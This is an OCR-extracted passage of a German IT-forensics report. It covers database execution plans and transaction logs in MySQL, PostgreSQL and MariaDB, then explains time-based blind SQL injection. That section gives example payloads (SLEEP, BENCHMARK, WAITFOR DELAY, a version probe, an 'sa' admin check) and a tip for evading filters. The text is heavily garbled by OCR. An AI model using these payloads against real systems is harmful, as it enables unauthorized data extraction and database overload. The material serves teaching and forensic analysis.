ist die Durchsicht essenziell. Ebenfalls ist die Auswertung dann sinnvoll, um Performanceschwachen
einer Datenbank ausfindig zu machen.

5.3.1 Datenbankausfithrungsplan in MySQL

Um zu lberpriifen, ob das Logging in der angepassten Docker-Umgebung von Herrn Hauser aktiviert
ist, damit im Anschluss die Datenbankausfiihrungspldane der durchgefiihrten Statements ermittelt
werden konnen, wird wieder die CLI des MySQL-Containers gestartet. Dort erfolgt erneut die
Anmeldung als MySQL.

Mit folgendem Befehl wird gepriift, ob das ,,general_log” fir MySQL aktiviert ist:

Befehl: show variables like "%general_log%"

Als Ergebnis wird in einer Tabelle angezeigt, dass die Ausflihrungsplane fiir MySQL deaktiviert sind.
Zusatzlich wird noch der Pfad angezeigt, wo die Ausflihrungsplane zu finden sind.
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Um die Ausfiihrungsplane zu aktivieren, muss wie bereits in Abschnitt 5.2.1 der Parameter auf ON
gestellt werden.

Befehl: SET global general_log = on;

Eine erneute Abfrage zeigt, dass der Parameter nun auf ON gesetzt ist:

Befehl: show variables like "%general_log%"

Anhand des angezeigten Pfads wird die Datei nun aufgerufen:

Die Datei zeigt die eingegebenen SQL-Anweisungen zusammen mit der SQL-Anweisung der Suche.
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Die Anweisung kann nun auf zwei weiteren Wegen weiter untersucht werden:

Einmal mit der Option explain und mit der Option analyze. Dafiir wird eine komplette SQL-Anweisung
(SQL-Anweisung der Suche + Eingabe aus Formular) kopiert und vor die Anweisung die Option explain
gestellt:

Die SQL-Anweisung wird nun aufgeschlisselt und in Schritten in einer Tabelle dargestellt.

Mit der zusatzlichen Option kann die Performance einer Datenbank bzw. die Abarbeitung der Schritte
einer SQL-Anweisung eingesehen werden.

5.3.2 Datenbankausfiihrungsplan in PostgreSQL

Die Ausfiihrungsplane besitzen nach unseren Erkenntnissen keine eigene Logdatei — Entsprechend
muss ein Statement aus den ,normalen” Logfiles genommen und untersucht werden.

Das zu untersuchende Statement wird aus einer der Logfiles unter /vat/lib/postgresql/data/logs
kopiert bzw. diese Datei in einem Fenster (Konsole) ge6ffnet.

AnschlieBend erfolgt die Anmeldung in der CLI des PostgreSQL-Containers wie folgt:

Anmeldung: psql -U postgres
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Mit der Option \| werden alle Datenbanken angezeigt und mit der Option \c Datenbankname wird die
jeweilige Datenbank ausgewahlt:

Wie in MySQL kann in PostgreSQL mit den Optionen explain und analyze gearbeitet werden.

Wird nun mit den Optionen explain und analyze ein Statement ausgefiihrt, werden die Schritte und
die Performance gemeinsam aufgefihrt:

Je nach Ergebnis werden zusatzlich auch die Ergebnisse zu den Schritten und Performance angezeigt:
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5.3.3 Datenbankausfithrungsplan in MariaDB (Cloud)

In MariaDB kénnen, wie in den anderen beiden Datenbanksystemen, Ausfiihrungsplane aufgerufen
werden, um durchgefiihrte Transaktionen auf der Datenbank nachvollziehen zu kénnen. Nachdem
eine Anmeldung im Container erfolgt ist, kann ein Einloggen in der Datenbankinstanz stattfinden und
im Anschluss kann ein vorhergehender Befehl durch einen Ausfiihrungsplan im Detail aufgefiihrt
werden.

Befehl: sudo docker exec -ti <container id oder container name> /bin/bash # Wechseln in den
Container der Datenbank

Befehl: mysql -u root -p # Wechseln in den Datenbankkontext von MariaDB
Befehl: use impfung; # Wahlen der Datenbank impfung im Datenbankkontext:

Befehl: explain <SQL Statement fiir welches ein Ausfiirhungsplan erstellt werden soll>

/bin/bash

swo
Welcome to the MariaDB monitor. Commands end with ; or \g
s 3
B-1:10.6.5+mar ia~focal-log mariadb.org binary distribution
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement
MariaDB [( ) mpfung;
Reading table on for completion of table and column names
You can turn of eature to get a quicker startup with -A
Database
ELECT p.Nachname, p.Vorname, p.Geburtsdatum, k.KV_Name FROM Patienten p LEFT JOIN Krankenversicherung k ON p.Krankenversicherung = k.Nummer WHERE k.KV_Name LIKE ‘SNovit
+
Name |

ey =+

| Novitas |
+ + + +
1 row in set (0.000 sec)
MariaDB [impfung]> explain SELECT p.Nachname, p.Vorname, p.Geburtsdatum, k.KV_Name FROM Patienten p LEFT JOIN Krankenversicherung k ON p.Krankenversicherung = k.Nummer WHERE k.KV_Name LIKE

E ORDER BY
+ + + +

| key_len | ref | rows | Extra
e e P

| 15 | Using where; Using file

+
|
i
| | |

| ersicherung | Krankenversicherung | 4 | impfung.k.Nummer | 1

+ + + + + +

2 rows in set (0.000 sec)

MariaDB [ impfungl> il

Das SQL-Statement wird nun im Tabellenformat und im Detail aufgezeigt und die durchgefiihrten
Schritte im Einzelnen nachvollziehbar aufgeschlisselt.

Daruber hinaus kann analog zu den beiden lokalen Datenbankinstanzen auch die Performance eines
Statements aufgeschliisselt werden. Diese Analyse dient der Aufklarung von Transaktionen, die zu
Lasten der Datenbankleistung oder zu Lasten von Ressourcen fiihren, oder sehr zeitaufwandig sind.

aDB [ impfuni SELEC ame, p.V rts cherung rung = k.Nummer WHERE k.KV Name LIKE

+

+ +
\LL | PRIMARY hL I | : 100.00 |

| Krank | impfung.k.Hummer | 1 100.00
B S : .
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5.4 Transaktionsprotokolle

Das Transaktionsprotokoll eines SQL-Servers protokolliert alle Transaktionen, welche auf einer
Datenbank durchgefiihrt werden. Das Transaktionsprotokoll ist eine wichtige Komponente, da es bei
auftretenden Systemfehlern die Datenbank wieder in einen konsistenten Zustand versetzen kann.

Fatal ware es, wenn Transaktionsprotokolle manipuliert und gar von Dritten geldscht werden, da dies
schwerwiegende Folgen im Worst-Case Szenario haben kénnte.

In diesem Abschnitt wird einmal aufgezeigt, wie die Transaktionsprotokolle in MySQL aussehen und
was dort zu finden ist.

Um die Transaktionsprotokolle in der Docker-Umgebung zu aktivieren, muss zunachst einmal die CLI
des MySQL-Container gestartet werden. AnschlieBend erfolgt die Anmeldung als mysql.

Mit der MySQL-Version 8 hat sich die Syntax zur Uberpriifung des Status gedndert:

Priifen ob Transaktionsprotokolle aktiviert sind in MySQL-Version < 8:

Befehl 1: select variable_value as "BINARY LOGGING STATUS (log-bin) ::"

Befehl 2: from information_schema.global_variables where variable_name='log_bin';

Priifen ob Transaktionsprotokolle aktiviert sind in MySQL-Version 8:

Befehl: show global variables like 'log-bin’;

Steht der Status der Transaktionsprotokolle auf ,ON“, so werden alle Anderungen an der Datenbank
protokolliert. Diese werden zwar auch wie in Abschnitt 5.2 beschrieben in den Logfiles der
Datenbanken gespeichert, jedoch kénnen anhand der Transaktionsprotokolle Datenbanken
wiederhergestellt werden. In den Protokollen werden fiir die Reparatur auch Transaktions-ID und
weitere Parameter gespeichert, um Transaktionen eindeutig identifizieren zu kénnen.

Das Transaktionsprotokoll befindet sich unter folgendem Pfad:
/var/lib/mysql/binlog.000001

Die Protokolle werden im BIN-Format gespeichert, weshalb diese nur sehr schwer gelesen werden
konnen. Es folgt ein Screenshot eines Transaktionsprotokoll im BIN-Format:
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Wie auf der Abbildung zu sehen ist, sind Transaktionsprotokolle in diesem Format von einem
Menschen kaum verninftig zu lesen und auszuwerten.

Das Protokoll kann jedoch auch in eine Text-Datei geschrieben werden, um den Inhalt besser einsehen
zu koénnen:

Befehl: mysqglbinlog binlog.000001 > /var/lib/mysql/transactionslog.txt

Das Ergebnis zeigt, dass die neue Text-Datei mit den Inhalten des Transaktionsprotokoll jetzt zwar
»lesbarer” ist, eine forensische Aufarbeitung sich jedoch als sehr aufwendig erweist.

Was jedoch auf der Abbildung nun besser zu erkennen ist sind die verschiedenen IDs, Meta-Daten wie
Zeitstempel als auch gehashte Transaktions-IDs.

Generell ist das Lesen von Transaktionsprotokollen in diesem Format sehr umstdndlich. Dafir
existieren verschiedene SQL-Reader, um Transaktionsprotokolle besser durchsuchen und auch im
Ernstfall die Datenbank wiederherstellen zu kénnen.

85



6. Fachbegriff — Zeitbasierte SQL-Injection Attacken

6. Fachbegriff - Zeitbasierte SQL Injection Attacken

Zeitbasierte SQL-Injection Attacken werden haufig dann genutzt, wenn andere Arten von SQLi wenig
oder eingeschrankte Ergebnisse vom Zieldatenbanksystem liefern. Diese zeitbasierte Angriffsmethode
schleust komplexere Abfragen in das SQL-Statement, die wiederum zu Zeitverzégerungen bei den
Antworten oder hoher Auslastung am Zieldatenbanksystem fiihren sollen.

Abhdngig von der Zeit, die das Datenbanksystem benétigt, um zu antworten, ist es moglich einige
Informationen daraus zu ermitteln (Inferenzansatz, Informationserschliefung). Diese
Herangehensweise der Deduktion von Informationen ist sehr nitzlich flr sog. "Blind SQLi" und "Deep
Blind sQLi".

6.1 SQL Injection mit einer Zeitverzogerung (Time Delay)

Zeitbasierte Attacken kdnnen genutzt werden, um grundlegende Informationen zur Datenbank zu
ermitteln oder das Vorhandensein einer Schwachstelle aufzuspiiren. Es ist keine unibliche
Vorgehensweise, wenn ein Angreifer mit einer zeitbasierten "Deep Blind SQLi" Attacke dem
Zieldatenbanksystem Informationen entlocken will.

In folgender Tabelle wird exemplarisch aufgezeigt, wie die Ausfihrung der SQL-Anfrage in einigen

Beispielen an unterschiedlichen DBMS Typen verzogert werden kann.
DBMS Befehl ‘ Beispiel Kommentare
Die Zeitangabe erfolgt in
MysSQL SLEEP(Zeit) SELECT ... SLEEP(60) Sekunden und ist verfligbar
ab MySQL Version 5.
Fiihrt die Anweisung vielfach
BENCHMARK(Anzah, | SELECT BT i e
MySQL " | BENCHMARK(100000000, ) .g . . .
Ausdruck) . ) moglich eine Verzégerung im
SELECT ...") i
Zieldatenbanksystem zu
generieren
MS-SQL, Verzé ie Ausfuh
ol WAITFOR DELAY SELECT ... WAITFOR DELAY | erzogert die Ausfuhrung
Transact- : ) ) , des Befehls um den
hh:mm:ss 00:00:15" SELECT ... )
sQL angegebenen Zeitraum
MS-sQL Verzogert die Ausfiihrung
Transac;: WAITFOR TIME SELECT ... WAITFOR TIME | des Befehls und fiihrt diesen
'hh:mm:ss' '14:15:00' SELECT ... fort, wenn der angegebene
sqQL . L
Zeitpunkt erreicht ist

*Hinweis: Es ist von Vorteil fir die Ausfiihrung von zeitbasierten Attacken zu wissen um welchen Typ
Datenbanksystem es sich bei dem Zielsystem handelt. Sofern dies nicht bekannt ist, ist es moglich
unterschiedliche zeitbasierte Anfragen abzusetzen, bis eine Antwort vom Zieldatenbanksystem
zuriickgegeben wird. Falls keine dieser Moglichkeiten zum gewiinschten Ergebnis fihrt sollte auf die
Ergebnisse von "Enumerieren" und "Fingerprinting" flr das Zielsystem zuriickgegriffen werden, um
den Datenbanktypen zu ermitteln.
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Das ldentifizieren von Schwachstellen ist nicht der einzige Einsatzzweck zeitbasierter SQLi Attacken.
Sofern der Angreifer Verzogerungen in Prozeduren, bzw. Statements mit Bedingungen (z.B. CASE oder
IF) integriert, ist es moglich, dass die Zieldatenbank Systeminformationen oder auch Daten preisgibt.
Diese Methode basiert auf dem Inferenzansatz oder auch der InformationserschlieRung.

Vereinfacht dargestellt, wenn ein Angreifer eine Zeitverzégerung in ein Bedingungs-Statement
integriert, hat der Angreifer die Moglichkeit geschaffen dem Zieldatenbanksystem eine Ja/Nein Frage
zu stellen. Die Antwort des Datenbanksystems hdngt somit von diesem Zeitfaktor ab (ware fallweise
ungewohnlich lang) und lasst den Angreifer ermitteln, ob die Antwort Ja oder Nein war und daraus
weiterfiihrende Informationen zu schliefRen.

In folgender Tabelle werden exemplarisch fiir einige Datenbanksysteme beispielhaft Bedingungs-
Statements aufgefihrt:

Bedienungs-Anweisung Kommentare
Nur innerhalb eines SQL Statements

IF(Bedingung, wenn_wahr,

MySQL moglich. In einer Prozedur ist die Syntax
wenn_falsch)
analog zu der von Oracle-SQL (PL-SQL)
Nur innerhalb einer Prozedur oder
Ms-sQL, IF Bedingung, wenn_wahr [ELSE Stl; Ielabfra . (S'taCked ;QLuQuer |
Transact-SQL wenn_falsch] . : v

moglich

IF Bedingung THEN wenn_wahr

Oracle, PL/SQL
racle, PL/SQL | (0 & \wenn, falsch] END IF

Nur in PL/SQL moglich

Wie ersichtlich wird unterscheiden sich die injizierten Statements geringfligig, abhdngig vom Zweck
der zeitbasierten Attacke.

Im Folgenden Abschnitt werden exemplarische Beispiele anhand unterschiedlicher DBMS aufgezeigt.
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6.1.1 Zeitbasierte Attacken in MySQL

Eine zeitbasierte SQLi Attacke exemplarisch fiir den Datenbanksystemtypen MySQL ist simpel
durchzufiihren. Die Funktionen SLEEP() und Benchmark() kénnen in ein entsprechend prapariertes
SQL-Statement integriert werden. Das Code-Beispiel unten fiihrt auf wie ein Angreifer eine
Schwachstelle eines Parameters auf SQLi Verwundbarkeit priifen kann. Eine zeitverzogerte Antwort
wirde bedeuten, dass die Applikation eine MySQL Datenbank nutzt.

# MySQL verzogerte Injection QUERY mit integrierter SLEEP Funktion
SELECT * FROM table_t WHERE id=1-SLEEP(15)

# MySQL verzogerte Injection QUERY mit integrierter BENCHMARK Funktion
SELECT * FROM table_t WHERE id=1-BENCHMARK(100000000, rand())

Der Angreifer kann ebenfalls weiterfiihrende Informationen extrahieren, um Folgeannahmen zu
bestatigen. Dies kann mit der Integration einer zeitbasierten Abfrage innerhalb eines Bedingungs-
Statements geschehen. In MySQL ist dies erneut sehr simpel durchzufiihren da eine IF() Funktion /
Bedingung vorhanden ist. Folgendes Beispiel macht das ErschlieRen von Informationen in Kombination
mit Zeitbasierten Attacken noch einmal deutlich, um die Datenbankversion zu ermitteln:

# MySQL verzogerte Injection um die DB Version zu ermitteln
SELECT * FROM table_t WHERE id=1-IF(MID(VERSION(),1,1) = '8'-SLEEP(15), 0)

Wenn die Applikation, bzw. der DBMS Server langer als 15 Sekunden fiir die Antwort bendtigt, kann
von der Annahme ausgegangen werden, dass es sich um ein MySQL Datenbanksystem in der Version
8 handelt. Im Beispiel wird die Funktion SLEEP() genutzt, es konnte jedoch ebenfalls BENCHMARK
genutzt werden.

6.1.2 Zeitbasierte Attacken in Transact-SQL (MS-SQL Server)

Um Zeitverzogerungen in Transact-SQL Abfragen zu integrieren, miissen Stapelabfragen (Stacked SQL
Query) genutzt werden. Dies ist ebenfalls eine einfache Vorgehensweise. Im unten aufgefiihrten
Beispiel prift ein Angreifer, ob eine Tabelle eines MS-SQL Servers eine Schwachstelle aufweist.

# Transact-SQL verzogerte Injection mit integrierter SLEEP Funktion
SELECT * FROM table_t WHERE id=1; WAIT FOR DELAY '00:00:15'

Mit der Nutzung von Anweisungen mit Bedingungen ist es moglich auch weitefiihrende Informationen
aus dem System zu ermitteln. Statt der Version wird im folgenden Beispiel versucht den
Datenbankadministratornamen zu ermitteln zu ermitteln (MS SQL-Server haben in der Regel einen DB-
Administrator mit Benutzernamen sa)

# Transact-SQL verzogerte Injection um Vorhandensein von DB-Admin sa zu bestatigen
SELECT * FROM table_t WHERE id=1; IF SYSTEM_USER='sa' WAIT FOR DELAY '00:00:15'

In Transact-SQL wird WAIT FOR TIME selten genutzt, kann aber hilfreich sein wenn SQL-Injection
Sicherheitssysteme nur auf das haufiger genutzte WAIT FOR DELAY prifen.
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6.1.3 Zeitbasierte Attacken in Oracle PL/SQL

Oracle weist bei zeitbasierten Attacken einige Besonderheiten auf. Die Funktion SLEEP() kann genutzt
werden, jedoch muss diese in einer PL/SQL Block Anweisung wie im folgenden Beispiel integriert
werden.

# Oracle PL/SQL Block Anweisung mit 15 Sek. Verzégerung
BEGIN DBMS_LOCK.SLEEP(15); END;

Die Besonderheit bei Oracle ist, dass keine Stapelabfragen (Stacked SQL Queries) unterstitzt werden.
Die einzige Moglichkeit eine, wie oben aufgefiihrte Abfrage an die Datenbank durchzufiihren, wéare
eine SQL-Injection, eine Schwachstelle im PL/SQL Quellcode oder in einem anonymen PL/SQL Block
ausfindig zu machen. Die Eintrittswahrscheinlichkeit ist jedoch dufRerst gering und selten.

Eine Alternative bietet in PL/SQL das Absetzen einer Abfrage die hohe Ressourcen beansprucht statt
der SLEEP() Funktion:

# Oracle PL/SQL Abfrage, um hohe Last zu erzeugen
SELECT count(*) FROM all_users A, all_users B, all_users C;

Bei einer kleinen Datenbank wiirde die oben genannte Abfrage keine hohe Last erzeugen. Sobald man
jedoch die Tabellenanzahl in der Abfrage erhéht und die Abfrage gegen eine groRere Datenbank
ausgefihrt wird, kann dies erhebliche Last und Zeitverzégerungen erzeugen.

Im Vergleich zu anderen Datenbanksystemen sollte von Abfragen die eine hohe Last erzeugen
abgesehen werden. Bei Oracle ist dies die einzige Maoglichkeit zeitbasierte SQLi Attacken
durchzufihren.

6.2 Vorteile und Nachteile zeitbasierter SQL Injection Attacken und Bezug auf die IT-

Forensik

Zeitbasierte SQL Injection Attacken bieten den Vorteil, dass sehr wenig Ungewdhnliches, bzw.
Auffalligkeiten in den Logs des Datenbanksystems ausfindig zu machen sind.

Sobald jedoch zeitbasierte SQLi Attacken durchgefiihrt werden, die sehr ressourcenintensiv fiir das
Datenbanksystem sind, kann sich dies in den Protokollen niederschlagen und fallt auch im Nachgang
in der Forensik auf.

Die Lange der Zeitverzogerung muss ebenfalls betrachtet werden, insbesondere dann, wenn Web-
Anwendungen die Schnittstelle zum Datenbanksystem bilden. Die System- und Netzwerkauslastung
kénnen hier Einfluss auf das gewiinschte Resultat haben. Sehr genaue Planung und Timing werden in
diesem Fall erforderlich, damit die gewiinschten Ergebnisse hiervon nicht beeintrachtigt werden.

Um zeitbasierte SQL Injection Attacken forensisch zu ermitteln und zu analysieren, sind Gber die
Prifung der datenbankspezifischen Logs hinaus auch die Applikations- und Serverlogs erforderlich, um
ein so genaues und so detailliert wie nur mogliches Bild einer gefundenen Auffalligkeit zu schaffen.

89



6. Fachbegriff — Zeitbasierte SQL-Injection Attacken

6.3 Quellen

1.

SQL Injection Inference Attacks | sqlinjeciton.net (2020). Abgerufen am 06.02.2022 von
https://www.sqglinjection.net/inference

Deep Blind SQL Injection | Ferruh Mavutina (26.02.2008). Abgerufen am 06.02.2022 von
https://labs.portcullis.co.uk/download/Deep Blind SQL Injection.pdf

Types of SQL Injection (SQLi) | Acunetix (15.07.2020). Abgerufen am 07.02.2022 von
https://www.acunetix.com/websitesecurity/sql-
injection2/#:%7E:text=What%20is%20a%20time%2Dbased,query%20is%20true%200r%20fal
se

Time based Blind SQL Injection (SQLi) | Beagle Security (05.06.2018). Abgerufen am
07.02.2022 von https://beaglesecurity.com/blog/vulnerability/time-based-blind-sql-
injection.html

Blind SQL Injection | OWASP Foundation (0.D.). Abgerufen am 07.02.2022 von
https://owasp.org/www-community/attacks/Blind SQL Injection

90


https://www.sqlinjection.net/inference
https://labs.portcullis.co.uk/download/Deep_Blind_SQL_Injection.pdf
https://www.acunetix.com/websitesecurity/sql-injection2/%23:~:text=What%20is%20a%20time-based,query%20is%20true%20or%20false
https://www.acunetix.com/websitesecurity/sql-injection2/%23:~:text=What%20is%20a%20time-based,query%20is%20true%20or%20false
https://www.acunetix.com/websitesecurity/sql-injection2/%23:~:text=What%20is%20a%20time-based,query%20is%20true%20or%20false
https://beaglesecurity.com/blog/vulnerability/time-based-blind-sql-injection.html
https://beaglesecurity.com/blog/vulnerability/time-based-blind-sql-injection.html
https://owasp.org/www-community/attacks/Blind_SQL_Injection

